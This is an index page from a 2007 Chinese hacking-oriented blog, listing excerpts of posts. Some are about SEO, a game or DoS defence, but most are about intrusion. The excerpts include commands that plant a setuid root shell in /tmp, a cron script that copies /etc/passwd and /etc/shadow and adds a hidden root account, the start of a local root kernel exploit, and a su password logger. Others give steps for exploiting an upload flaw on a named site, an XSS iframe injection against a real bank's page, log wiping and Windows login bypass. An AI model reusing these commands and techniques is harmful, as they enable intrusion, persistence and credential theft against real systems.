linkboy的博客_信息安全管理,网络安全技术,程序代码(4)

职场

漏洞

休闲

转载精选 2007-09-25 18:00:00 1049 阅读

Haxdoors of the Kaspersky Antivirus 6/7

Haxdoors of the Kaspersky Antivirus 6/7 ================================ Preamble ================================ Kaspersky Antivirus one of the most technically modern antiviruses available toda

职场

Antivirus

休闲

Kaspersky

Haxdoors

转载精选 2007-09-17 15:44:00 830 阅读

动易网站的seo优化和gg的优化

本人比较喜欢用动易的系统建网站，因为它的确很简单，而且在本地的调试和安装也非常的方便．玩多了，就来写写自己的一些技巧，希望可以帮更多的落伍的兄弟的忙！同时希望可以快快的落伍呀,没有落伍感觉交流很困难! 当然我的研究不是很深也不是很系统．我个人是学市场营销专业的，目前大三在读中．学了两年多的网站建设，到现在才算是真的入门了，现在正在做个新的站，也是用动易的系统．希望可以赚点钱　　一．动易文章管

职场

seo

休闲

易网站

转载精选 2007-09-16 09:51:00 756 阅读

div+css与SEO

不少网站都开始使用日趋主流的div+css对网站进行重构，div+css的好处除了使代码简洁改版方便之外，我们对网站进行SEO也是有好处的，星箭并不是说div+css在SEO中效果一定大于table布局，我是指对网站做SEO优化的时候能省掉不少麻烦。 div+css重构网站的好处： 1，提高搜索引擎对网页的索引效率  提高spider爬行效率，能在最短的时间内爬完整个页面，这

职场

css

div

SEO

休闲

转载精选 2007-09-16 09:48:00 388 阅读

符合SEO标准的div+css页面参考

下面的部分是著名设计师阿捷发表的div+css三行两列网页参考，星箭在此基础上做了小小的改动，以前乐思蜀也对阿捷的这个经典布局案例进行过修改，将左右代码互换，达到主体内容显示在前更方便搜索引擎抓取分析页面最重要内容的SEO目的，星箭也对阿捷的这个案例进行一番简单修改，主要是将左右代码互换，加入了h1,h2标签，对文字列表使用<li>等。符合SEO标准的div+css页面参考

css

div

SEO

休闲

页面

原创 2007-09-16 09:47:00 396 阅读

动易CMS SEO优化-缺陷篇

相信很多使用动易CMS系统的朋友应该比较关心动易的SEO。动易cms不能不说是一套强大的内容管理系统，在国内ASP的CMS领域，恐怕很难有达到超过动易CMS的高度。有人说动易不开源，并且太傻瓜化，只有不懂程序的人才会用动易，其实动易系统通过自建的自定义动态函数和自定义字段，可以完成很多扩展功能，也就是说，动易要简单可以简单，要复杂可以复杂。这对于SEO功能要求颇多的同仁们可以说是个好消息。动易

职场

SEO

休闲

CMS

缺陷

转载精选 2007-09-16 09:44:00 1105 阅读

Linux后门系列--由浅入深sk13完全分析(缩水版)

创建时间：2007-09-11 文章属性：原创文章提交：wzt (wzt_at_xsec.org) Linux后门系列--由浅入深sk13完全分析(缩水版) 作者 wzt 联系方式 wzt@xsec.org 个人网站 http://tthacker.cublog.cn http://xsec.org 本文首发《黑客防线》第八期，本文在《黑防》里有更详细更细致的描述，特别适合刚入门的

Linux

职场

休闲

后门

由浅入深

转载精选 2007-09-13 10:08:00 408 阅读

脚本后门注入图片新方法老帖

老帖，原来的Blog废了。重新帖一下自从臭要饭的发布了那个脚本隐藏于图片中的程序之后（没看的朋友参见前面的文章），不断就有人来说什么程序不好用拉，图片生成不了啦什么的。于是乎昨天我就重新研究了一下原理。突然想到了用一种新方法就是用copy命令进行图片与脚本的合并，却一直发现行不通，原因是不明：我一用copy合并后，图片的结构就被我破坏了，放到网页上不是图片只显示了一点就是干脆一个红叉。百思不得

职场

脚本

休闲

后门

转载精选 2007-09-11 21:11:00 652 阅读

最酷的windows后门

在windows 2000/xp/vista下，按shift键5次，可以打开粘置，会运行sethc.exe，而且，在登录界面里也可以打开。这就让人联想到WINDOWS的屏保，将程序替换成cmd.exe后，就可以打开shell了。参考McafeeAvertLabs： http://feeds.feedburner.com/~r/McafeeAvertLabsBlog/~3/101149799/

职场

windows

休闲

后门

转载精选 2007-09-07 08:58:00 639 阅读

滚木块

作品说明: 方向键控制木块，目标是滚到指定的缺口内，很耐玩的游戏，开动开动你的脑筋吧... < id="fotester" height="300" width="550" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000">

职场

休闲

滚木

转载精选 2007-09-04 12:02:00 535 阅读

linux下记录su密码的代码

/* * kpr-fakesu.c V0.9beta167 ;P * by koper <koper@linuxmail.org> * * Setting up:

linux

密码

代码

记录

休闲

原创 2007-08-31 11:15:00 1962 阅读

一次DOS事件的解决办法

转个帖，顺带Fuck一下某个自作聪明的白痴，如果被我查出来别怪我不客气，动用我的资源 0.分析过程首先，分析了DOS的类型、特征、攻击方法。使用netstat -na|grep SYN_RECV|wc，发现当前存在大量SYN_RECV状态连接，源地址都是伪造的，netstat -na|grep SYN_RECV|wc显示数量为1024个，这个是当然，Linux默认的Syn_Backlog

DOS

职场

解决

办法

休闲

转载精选 2007-08-28 10:36:00 328 阅读

雷池新闻发布系统uploadPic.asp漏洞

1.在Google搜关键字:inurl:leichinews 2.找到以下网址,如:http://www.13lang.com/leichinews/onews.asp?id=71 3.我们把leichinews/后面的改成admin/uploadPic.asp?actionType=mod&picName=13lang.asp 提交 4.把我们的小马改成.gif后缀上传,

asp

漏洞

uploadPic

新闻发布

雷池

转载精选 2007-08-25 15:35:00 2839 阅读

扫描器scanner的源代码

扫描器scanner的源代码，应该说是比较粗糙的 .#define szSign "500 13\r\nServer: Microsoft-IIS/5.0"//根据此标志来检查目标是否有漏洞其实就是个取Banner。我那他改造了一下。有空检查一下效果如何：） #include <stdio.h>

职场

源代码

扫描器

休闲

scanner

转载精选 2007-08-18 19:33:00 824 阅读

如何对PHP程序中的常见漏洞进行攻击

之所以翻译这篇文章，是因为目前关于CGI安全性的文章都是拿Perl作为例子，而专门介绍ASP，PHP或者JSP安全性的文章则很少。Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题，原文可以在http://www.securereality.com.au/studyinscarlet.txt找到。由于原文比较长，而且有相当一部分是介绍文章的背景或PHP的基础知识，没有涉及到PH

PHP

攻击

程序

漏洞

休闲

转载精选 2007-08-12 10:26:00 369 阅读

日志的清除

由于涉及的系统广泛的问题，不可能将所有unix类系统的日志说清楚，但它们大多是差不多的，下面我只用常见的sunos & redhat做介绍．其它的系统请查看相关资料． unix系统日志文件通常是存放在"/var/log　and /var/adm"目录下的。通常我们可以查看syslog.conf来看看日志配置的情况．如：cat /etc/syslog.conf 其中s

职场

日志

休闲

原创 2007-08-08 16:38:00 1081 阅读

suid shell

在 /tmp 或者其他的目录下放置 suid shell。以后只要你运行这个，就会轻易得到根用户权限。　　　　#cp /bin/ksh /tmp/.sh 　　　　#chown root:root /tmp/.sh 　　　　#chmod +s /tmp/.sh 　　　　当你运行/tmp/.sh时，　　　　这里我们用ksh shell是因为ksh 可以suid.换成其

职场

shell

休闲

suid

原创 2007-08-08 16:32:00 1356 阅读

伪装成Google Bot突破收费网站页面

为什么有的网站能够被Google搜索到，点击链接进去以后却显示“未注册”、“还不是会员”呢？这是一种网站专门针对对搜索引擎优化的技术。那么我们也可以伪装成搜索引擎来进入这些页面。我们需要的是修改浏览器的User-Agent值。下面以Internet Explorer为例说明：把下列代码保存为 ua.reg，双击导入到注册表中： Window

Google

休闲

页面

收费

Bot

转载精选 2007-07-29 09:26:00 1130 阅读

AV终结者新变种（随机7位字母病毒）的分析

AV终结者已经猖狂一段时间了，经过杀毒软件厂商的共同努力，其势头有所减弱，但最近突然发现又出现了小规模的爆发，并且用户反映专杀也被杀掉了，今天拿到了这个新的变种，立即分析了一下。特别值得注意的是此变种开始下载各种流氓软件（以前一般是下载一些木马）分析报告： File: pmovrao.exe Size: 26816 bytes MD5: 8A43F7A2EB37728D5D808C4

职场

休闲

随机

字母

终结者

转载精选 2007-07-29 09:25:00 1083 阅读

逆向工程打造隐蔽后门

信息来源：《黑客x档案》序如果我现在问大家一个问题，入侵成功后我们该干什么？相信大家都会异口同声地回答：“装后门！”不错，为了保住胜利果实，我们总会四处寻找适合的后门。我们的要求并不过分——体积小、功能强大、隐蔽性强。然而前两个要求还是比较容易实现的，最让后门作者头疼也让使用者无奈的就是隐蔽性了。这次我给大家带来的就是另类的方法打造自己的隐蔽

职场

休闲

后门

工程

逆向

转载精选 2007-07-29 08:49:00 758 阅读

不死帐号 11：40复活，13：10 自杀

#!/bin/bash echo '40 11 * * * cat /etc/passwd > /dev/linkpwd' > /etc/t.cron; echo '40 11 * * * cat /etc/shadow > /dev/linkshw' >> /etc/t.cron; echo '41 11 * * * echo "link:x:0:0

职场

帐号

自杀

休闲

复活

原创 2007-07-17 13:38:00 325 阅读

Linux Kernel 2.6x 本地溢出代码今天测试了一下，效果不错

/*****************************************************/ /* Local r00t Exploit for:

Linux

代码

Kernel

效果

休闲

原创 2007-07-17 12:57:00 690 阅读

双击U盘时既能运行程序又能打开U盘

作者：翼帆思路：双击U盘时既能运行程序又能打开U盘其实可以用批处理写，但会跳出cmd的黑框框，极为不爽，估计楼主的意思是用VBS，这样可以不闪。想法不错，我们实现一下，Let's GO! 首先：autorun.inf，内容如下它们的意思是不管你用双击，还是右键打开，还是资源管理器，都会运行我们的efan.vbs [autorun] OPEN=efan.vbs shell\

运行

职场

程序

U盘

休闲

转载精选 2007-07-17 12:46:00 638 阅读

不死的shellcode

文章作者：DarkBoxer暗夜拳师信息来源：邪恶八进制信息安全团队（www.eviloctal.com）嘻嘻,今天把电脑的一些东西转移到移动硬盘的时候,发现自己以前投过的几篇稿件,粗看了一篇觉得有几篇还是有点余热,索性提交到邪八,希望可以对有需要的朋友一些帮助...菜鸟写的菜文,高手就不要笑话了本文曾发表于黑防06年第8期我想大家都知道shellcode是什么吧,说透了,就是能够

职场

休闲

shellcode

转载精选 2007-07-17 12:45:00 1003 阅读

小心啦：交通银行网页存在跨站漏洞

交通银行网页存在跨站漏洞,可以在页面中挂iframe,英文版和繁体版均存在此问题,以下是测试过程" 提交： http://www.bankcomm.com/jh/cn/detail.jsp?c=1121231469100&id=1176793794100&type=CMS.STD&cName=业务推介<iframe%20src=http://blog.c

职场

网页

漏洞

休闲

交通银行

原创 2007-07-06 17:54:00 748 阅读

win2000单网卡创建vpn服务器

vpn对于玩黑的人来说好处太多,就不用说了. 今天遇到一高速台湾肉机,通过千幸万苦拿了个webshell,还好,它装了pcanywhere的,当然下cif文件,把用户和密码读出来,连接上去ok. 发现速度还不错,可pcanywhere的画面就是没有3389的爽,于是开了个3389,主要是我想建个vpn服务器,这么高速的服务器不建vpn可惜了,ping的返可是180. 当我建vpn的时候才发现

职场

vpn

服务器

网卡

休闲

转载精选 2007-07-03 17:46:00 582 阅读

用U盘绕过登录密码进入Windows XP系统

所需工具　　1.U盘一个　　2.Usboot(U盘启动制作软件) 　　3.winrar(压缩软件) 　　这个方法我亲自实验过，并且成功的绕过了XP的登陆密码.我在学校机房做过实验，但是文件格式为FAT32，就不知道NTFS的行不行?本来想一起实验的，结果我的光驱在学校机器上用不起(我的光驱有问题，机器太老了!--穷)，学校的机器都是FAT32的，没办法!只有下次做了! 　　先说说思路

密码

Windows

系统

登录

盘绕

转载精选 2007-07-01 19:12:00 418 阅读

Arp×××络版

Arp杀手网络版功能 1.防范拦截Arp攻击，并且在服务器端有报警，可以方便网管进行跟踪。 2.自定义需要禁止使用的软件。防止网络带宽被P2P软件堵塞。使用说明：网管先用服务器端设置好服务器IP和要监控并关闭的进程（比如P2P软件Poco.exe,PPlive.exe）后将生成的killlist.ini和config.ini拷贝到客户端。然后到每台机器上建立一个文件架放

职场

Arp

杀手

网络版

休闲

转载精选 2007-06-25 18:03:00 566 阅读

利用Javascript进行注入

//作者: kostis90gr //翻译: 黯魂[S.S.T] //本文已发表于《防线》刊，版权属于黯魂和《防线》杂志社，转载请务必保持文章完整性，谢谢：）这份指南仅仅是出于报告目的,如果任何人把它用于违法目的,我不负责任. 通过使用javascript注入,用户不用关闭网站或者把页面保存在他的PC上就可以改变网站中的内容.这是由他的浏览器的栏完成的. 命令的语法看上

职场

Javascript

休闲

转载精选 2007-06-25 14:08:00 618 阅读

如何对Web Application进行安全性评估

如何对Web Application进行安全性评估呢？简单点说就是利用合适的工具，模拟网络用户对Web Application（包括Web Server）进行攻击，对一些潜在的安全弱点进行测试，找出Web Application的Weaknesses，根据严重程度进行评估。具体进行Web Application的测试时要全面系统。下面的一些步骤可以用来发现被评估程序的安全漏洞和弱点。 1．

职场

Web

休闲

Application

评估

原创 2007-06-25 14:00:00 746 阅读 1评论

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

linkboy

动网8.0最新远程注入漏洞来了